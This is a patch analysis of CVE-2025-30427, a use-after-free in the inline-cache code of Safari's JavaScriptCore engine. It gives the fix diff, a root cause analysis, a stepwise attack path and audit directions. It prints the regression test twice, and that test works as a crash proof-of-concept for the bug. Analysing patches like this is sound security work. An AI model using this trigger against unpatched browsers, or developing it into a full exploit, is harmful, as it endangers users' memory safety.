CVE-2025-30427
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: rheza (@ginggilBesel)
Key insight. Private-name field defines must not generate prototype property-miss conditions; the spurious conditions referenced structures that GC could free, leaving the cached case dangling.
Patch Details
diff --git a/JSTests/stress/static-private-fields-dont-need-property-conditions.js b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
new file mode 100644
index 000000000000..37ccd62442c2
--- /dev/null
+++ b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
@@ -0,0 +1,28 @@
+function f0() {
+}
+const v3 = Object.getOwnPropertyNames(this);
+this / Object;
+const v7 = f0();
+try {
+ Object(f0, true);
+} catch(e11) {
+}
+for (const v12 of v3) {
+ const v14 = this[v12];
+ for (let i16 = 0;
+ (() => {
+ class C21 extends Object {
+ static #f = v14;
+ 6 = Object;
+ }
+ new C21();
+ new C21();
+ new C21();
+ Object.__proto__ = v3;
+ new Float64Array(2887);
+ return i16 < 32;
+ })();
+ i16++) {
+ }
+ Object[v12] = this;
+}
\ No newline at end of file
diff --git a/Source/JavaScriptCore/bytecode/Repatch.cpp b/Source/JavaScriptCore/bytecode/Repatch.cpp
index 075b4de86dd3..0a69aac032c0 100644
--- a/Source/JavaScriptCore/bytecode/Repatch.cpp
+++ b/Source/JavaScriptCore/bytecode/Repatch.cpp
@@ -497,6 +497,9 @@ static InlineCacheAction tryCacheGetBy(JSGlobalObject* globalObject, CodeBlock*
newCase = AccessCase::create(vm, codeBlock, AccessCase::IndexedProxyObjectLoad, nullptr);
break;
}
+ case GetByKind::PrivateName:
+ case GetByKind::PrivateNameById:
+ RELEASE_ASSERT_NOT_REACHED();
default:
break;
}
@@ -635,6 +638,7 @@ static InlineCacheAction tryCacheGetBy(JSGlobalObject* globalObject, CodeBlock*
else {
if (isPrivate) {
RELEASE_ASSERT(!slot.isUnset());
+ RELEASE_ASSERT(conditionSet.isEmpty());
constexpr bool isGlobalProxy = false;
if (!slot.isCacheable())
return GiveUpOnCache;
@@ -1113,13 +1117,9 @@ static InlineCacheAction tryCachePutBy(JSGlobalObject* globalObject, CodeBlock*
break;
}
case PutByKind::DefinePrivateNameById:
- case PutByKind::DefinePrivateNameByVal: {
+ case PutByKind::DefinePrivateNameByVal:
ASSERT(ident.isPrivateName());
- conditionSet = generateConditionsForPropertyMiss(vm, codeBlock, globalObject, newStructure, ident.impl());
- if (!conditionSet.isValid())
- return GiveUpOnCache;
break;
- }
case PutByKind::ByIdDirectStrict:
case PutByKind::ByIdDirectSloppy:
case PutByKind::ByValDirectStrict:
@@ -1213,12 +1213,13 @@ static InlineCacheAction tryCachePutBy(JSGlobalObject* globalObject, CodeBlock*
}
case PutByKind::DefinePrivateNameById:
case PutByKind::DefinePrivateNameByVal:
+ case PutByKind::SetPrivateNameById:
+ case PutByKind::SetPrivateNameByVal:
+ RELEASE_ASSERT_NOT_REACHED();
case PutByKind::ByIdDirectStrict:
case PutByKind::ByIdDirectSloppy:
case PutByKind::ByValDirectStrict:
case PutByKind::ByValDirectSloppy:
- case PutByKind::SetPrivateNameById:
- case PutByKind::SetPrivateNameByVal:
return GiveUpOnCache;
}
}
@@ -1566,7 +1567,7 @@ static InlineCacheAction tryCacheInBy(
break;
}
default:
- break;
+ RELEASE_ASSERT_NOT_REACHED();
}
} else if (wasFound) {
if (!structure->propertyAccessesAreCacheable())
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2025-30427 |
| Bugzilla | 285643 |
| Component | JSC |
| Bug Class | UAF |
| Severity | medium |
| Commit | d7bd7d8f7cdf153d… |
| Advisory | Apple Advisory |
Terminology
- Inline cache (IC) / Repatch — JSC caches property accesses; Repatch.cpp builds/repatches the cached cases.
- Property-miss condition set — Watchpoints/conditions over prototype-chain structures that a cached access assumes remain valid.
- Private name field — A class #private field; a direct own-property define that does NOT need prototype-chain conditions.
Root Cause Analysis
The bug is in JavaScriptCore’s inline-cache generation for property access in Repatch.cpp, on the private-name path. In tryCachePutBy, the DefinePrivateNameById/DefinePrivateNameByVal cases called generateConditionsForPropertyMiss() to build a property-condition set for the define, and gave up if it was invalid. That is wrong: defining a static/instance private field is a direct own-property operation with a known structure transition and does not depend on prototype-chain ‘property miss’ conditions. Generating such a condition set attaches watchpoint/condition objects that reference other structures; those references can become stale as structures are reclaimed, so a later use or repatch of the cached case can dereference freed condition/structure objects — a use-after-free, matching the ‘unexpected Safari crash’ impact. The fix removes the generateConditionsForPropertyMiss call from the DefinePrivateName cases (private fields need no property conditions), and hardens the surrounding state machine: on the private get path it adds RELEASE_ASSERT(conditionSet.isEmpty()) to enforce that private gets carry no conditions; PrivateName/PrivateNameById get kinds and SetPrivateNameById/SetPrivateNameByVal put kinds are moved to RELEASE_ASSERT_NOT_REACHED() so the caching machinery cannot silently follow a path that would build conditions for them; and tryCacheInBy’s default case becomes RELEASE_ASSERT_NOT_REACHED() instead of a silent break. The restored invariant: private-name field accesses are cached without prototype-chain property conditions, so no stale condition objects can be created or later dereferenced. The regression test defines a class with a static #private field and repeatedly instantiates it while mutating proto and allocating Float64Arrays to force structure churn and GC, exercising the previously stale conditions. INFERENCE: the exact freed object and repatch site that dereferences it are in the IC repatch/GC machinery not fully shown here; the commit establishes that the erroneous condition set was created and is now removed.
Attack Path
1. Define a class with static private fields
The page runs JavaScript declaring a class with a static #private field (as in the regression test), whose define goes through JSC’s private-name PutBy inline cache.
2. Force repeated caching with structure transitions
The script instantiates the class many times and mutates object shapes (e.g. Object.proto reassignment) so the DefinePrivateName inline cache builds property-miss condition sets.
3. Apply GC pressure
Large allocations (new Float64Array(…)) trigger garbage collection that can reclaim structures referenced by the spurious condition objects.
4. Re-run the cached access
Subsequent execution repatches/checks the cached private-name case, dereferencing a condition or structure that GC has freed.
5. Trigger the use-after-free
The dangling dereference corrupts or reads freed memory, producing the unexpected Safari crash (and, with heap grooming, a potentially exploitable primitive — standard escalation, not shown by the patch).
Impact Assessment
A use-after-free of condition/structure objects reachable from crafted JS with structure churn and GC; medium as a crash but a UAF that can be shaped into a type-confusion primitive.
Audit Directions
Condition sets on non-prototype accesses
Grep tryCachePutBy/tryCacheGetBy for generateConditionsForProperty* on private-name/own-property kinds that shouldn’t carry conditions.
Unreachable IC kinds
Ensure private-name kinds hit RELEASE_ASSERT_NOT_REACHED rather than silently building caches.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
tryCacheGetBy |
Source/JavaScriptCore/bytecode/Repatch.cpp |
modified | Adds RELEASE_ASSERT_NOT_REACHED() for GetByKind::PrivateName/PrivateNameById and RELEASE_ASSERT(conditionSet.isEmpty()) on the isPrivate get path to enforce that private gets carry no conditions. |
tryCachePutBy |
Source/JavaScriptCore/bytecode/Repatch.cpp |
modified | Removes the erroneous generateConditionsForPropertyMiss() call for DefinePrivateNameById/ByVal (private fields need no property conditions) and moves SetPrivateNameById/ByVal to RELEASE_ASSERT_NOT_REACHED(). |
tryCacheInBy |
Source/JavaScriptCore/bytecode/Repatch.cpp |
modified | Default case changed from a silent break to RELEASE_ASSERT_NOT_REACHED(), so unexpected kinds fail loudly instead of caching incorrectly. |
Files Changed
Source Files
Source/JavaScriptCore/bytecode/Repatch.cpp
Test Files
JSTests/stress/static-private-fields-dont-need-property-conditions.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/stress/static-private-fields-dont-need-property-conditions.js b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
new file mode 100644
index 000000000000..37ccd62442c2
--- /dev/null
+++ b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
@@ -0,0 +1,28 @@
+function f0() {
+}
+const v3 = Object.getOwnPropertyNames(this);
+this / Object;
+const v7 = f0();
+try {
+ Object(f0, true);
+} catch(e11) {
+}
+for (const v12 of v3) {
+ const v14 = this[v12];
+ for (let i16 = 0;
+ (() => {
+ class C21 extends Object {
+ static #f = v14;
+ 6 = Object;
+ }
+ new C21();
+ new C21();
+ new C21();
+ Object.__proto__ = v3;
+ new Float64Array(2887);
+ return i16 < 32;
+ })();
+ i16++) {
+ }
+ Object[v12] = this;
+}
\ No newline at end of file